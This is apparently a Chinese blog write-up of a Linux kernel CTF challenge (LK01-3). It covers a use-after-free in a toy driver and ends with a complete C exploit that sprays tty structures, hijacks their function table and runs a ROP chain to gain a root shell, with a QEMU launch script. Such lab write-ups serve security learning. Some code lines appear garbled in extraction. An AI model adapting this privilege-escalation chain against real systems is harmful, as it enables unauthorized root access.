• 通过复用TTY结构体实现提权利用


    前言

    UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。

    LK01-3

    结合题目来看UAF漏洞

    项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3

    open模块

    在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf

    1. #define BUFFER_SIZE 0x400
    2. char *g_buf = NULL;
    3. static int module_open(struct inode *inode, struct file *file)
    4. {
    5.   printk(KERN_INFO "module_open called\n");
    6.   g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
    7.   if (!g_buf) {
    8.     printk(KERN_INFO "kmalloc failed");
    9.     return -ENOMEM;
    10.   }
    11.   return 0;
    12. }

    read模块

    在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中

    1. static ssize_t module_read(struct file *file,
    2.                            char __user *buf, size_t count,
    3.                            loff_t *f_pos)
    4. {
    5.   printk(KERN_INFO "module_read called\n");
    6.   if (count > BUFFER_SIZE) {
    7.     printk(KERN_INFO "invalid buffer size\n");
    8.     return -EINVAL;
    9.   }
    10.   if (copy_to_user(buf, g_buf, count)) {
    11.     printk(KERN_INFO "copy_to_user failed\n");
    12.     return -EINVAL;
    13.   }
    14.   return count;
    15. }

    write模块

    在写模块中,会从用户空间拷贝400字节数据到内核堆空间中

    1. static ssize_t module_write(struct file *file,
    2.                             const char __user *buf, size_t count,
    3.                             loff_t *f_pos)
    4. {
    5.   printk(KERN_INFO "module_write called\n");
    6.   if (count > BUFFER_SIZE) {
    7.     printk(KERN_INFO "invalid buffer size\n");
    8.     return -EINVAL;
    9.   }
    10.   if (copy_from_user(g_buf, buf, count)) {
    11.     printk(KERN_INFO "copy_from_user failed\n");
    12.     return -EINVAL;
    13.   }
    14.   return count;
    15. }

    close模块

    close模块会释放g_buf指向的堆块空间

    1. static int module_close(struct inode *inode, struct file *file)
    2. {
    3.   printk(KERN_INFO "module_close called\n");
    4.   kfree(g_buf);
    5.   return 0;
    6. }

    漏洞分析

    在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。

    图片

    image-20230911210004615

    当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。

    1. ...
    2.     int fd1 = open("/dev/holstein", O_RDWR);
    3.     int fd2 = open("/dev/holstein", O_RDWR);
    4.     close(fd1);
    5.     for (int i = 0; i < 50; i++)
    6.     {
    7.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    8.         if (spray[i] == -1)
    9.         {
    10.             printf("error!\n");
    11.             exit(-1);
    12.         }
    13.     }
    14. ...

    这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。

    在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。

    run.sh

    1. #!/bin/sh
    2. qemu-system-x86_64 \
    3.     -m 64M \
    4.     -nographic \
    5.     -kernel bzImage \
    6.     -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
    7.     -no-reboot \
    8.     -cpu qemu64,+smap,+smep \
    9.     -smp 1 \
    10.     -monitor /dev/null \
    11.     -initrd initramfs.cpio.gz \
    12.     -net nic,model=virtio \
    13.     -net user \
    14.     -s

    exp

    1. #include <stdio.h>
    2. #include <ctype.h>
    3. #include <fcntl.h>
    4. #include <unistd.h>
    5. #include <sys/stat.h>
    6. #include <string.h>
    7. #include <stdlib.h>
    8. int spray[100];
    9. //0xffffffff8114fbe8add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret; 
    10. //0xffffffff8114078a: pop rdi; ret;
    11. //0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
    12. //0xffffffff810eb7e4: pop rcx; ret;
    13. //0xffffffff81072560 T prepare_kernel_cred
    14. //0xffffffff810723c0 T commit_creds
    15. //0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
    16. #define push_rdx_pop_rsp_offset 0x14fbe8
    17. #define pop_rdi_ret_offset 0x14078a
    18. #define pop_rcx_ret_offset 0xeb7e4
    19. #define prepare_kernel_cred_offset 0x72560
    20. #define commit_creds_offset 0x723c0
    21. #define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
    22. #define mov_rdi_rax_offset  0x638e9b
    23. unsigned long user_cs, user_sp, user_ss, user_rflags;
    24. void backdoor()
    25. {
    26.     printf("****getshell****");
    27.     system("id");
    28.     system("/bin/sh");
    29. }
    30. void save_user_land()
    31. {
    32.     __asm__(
    33.         ".intel_syntax noprefix;"
    34.         "mov user_cs, cs;"
    35.         "mov user_sp, rsp;"
    36.         "mov user_ss, ss;"
    37.         "pushf;"
    38.         "pop user_rflags;"
    39.         ".att_syntax;"
    40.     );
    41.     puts("[*] Saved userland registers");
    42.     printf("[#] cs: 0x%lx \n", user_cs);
    43.     printf("[#] ss: 0x%lx \n", user_ss);
    44.     printf("[#] rsp: 0x%lx \n", user_sp);
    45.     printf("[#] rflags: 0x%lx \n", user_rflags);
    46.     printf("[#] backdoor: 0x%lx \n\n", backdoor);
    47. }
    48. int main() {
    49.     save_user_land();
    50.     int fd1 = open("/dev/holstein", O_RDWR);
    51.     int fd2 = open("/dev/holstein", O_RDWR);
    52.     close(fd1);
    53.     for (int i = 0; i < 50; i++)
    54.     {
    55.         spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    56.         if (spray[i] == -1)
    57.         {
    58.             printf("error!\n");
    59.             exit(-1);
    60.         }
    61.     }
    62.     char buf[0x400];
    63.     read(fd2, buf, 0x400);
    64.     unsigned long *= (unsigned long *)&buf;
    65.     //for (unsigned int i = 0; i < 0x80; i++)
    66.     // printf("[%x]:addr:0x%lx\n",i,p[i]);
    67.     unsigned long kernel_addr = p[3];
    68.     unsigned long heap_addr = p[7];
    69.     printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
    70.     unsigned long kernel_base = kernel_addr - 0xc39c60;
    71.     unsigned long g_buf = heap_addr - 0x38;
    72.     printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
    73.     *(unsigned long *)&buf[0x18= g_buf;
    74.     p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
    75.     //for (unsigned long i = 0xd; i < 0x80; i++)
    76.     // p[i] = i;
    77.     p[0x21= pop_rdi_ret_offset + kernel_base;
    78.     p[0x22= 0;
    79.     p[0x23= prepare_kernel_cred_offset + kernel_base;
    80.     p[0x24= pop_rcx_ret_offset + kernel_base;
    81.     p[0x25= 0;
    82.     p[0x26= mov_rdi_rax_offset + kernel_base;
    83.     p[0x27= commit_creds_offset + kernel_base;
    84.     p[0x28= swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;
    85.     p[0x29= 0;
    86.     p[0x2a] = 0;
    87.     p[0x2b] = (unsigned long)backdoor;
    88.     p[0x2c] = user_cs;
    89.     p[0x2d] = user_rflags;
    90.     p[0x2e] = user_sp;
    91.     p[0x2f] = user_ss;  
    92.     write(fd2, buf, 0x400);
    93.     for (int i = 0; i < 50; i++)
    94.         ioctl(spray[i], 0, g_buf+0x100); 
    95.         
    96. }

    参考链接

  • 相关阅读:
    [动态规划] (十) 路径问题 LeetCode 174.地下城游戏
    ilr normalize isometric log-ratio transformation
    cobbler实现系统自动化部署与安装
    AJAX学习笔记2发送Post请求
    从0开始学go第七天
    6.对象的实例化内存布局与访问定位
    《数字图像处理-OpenCV/Python》连载(10)图像属性与数据类型
    网页布局常用的8种布局方式
    开源layui前端框架 收款码生成系统源码 多合一收款码生成源码 带50多套UI模板
    使用docker搭建nacos单机、集群 + mysql
  • 原文地址:https://blog.csdn.net/YJ_12340/article/details/133178395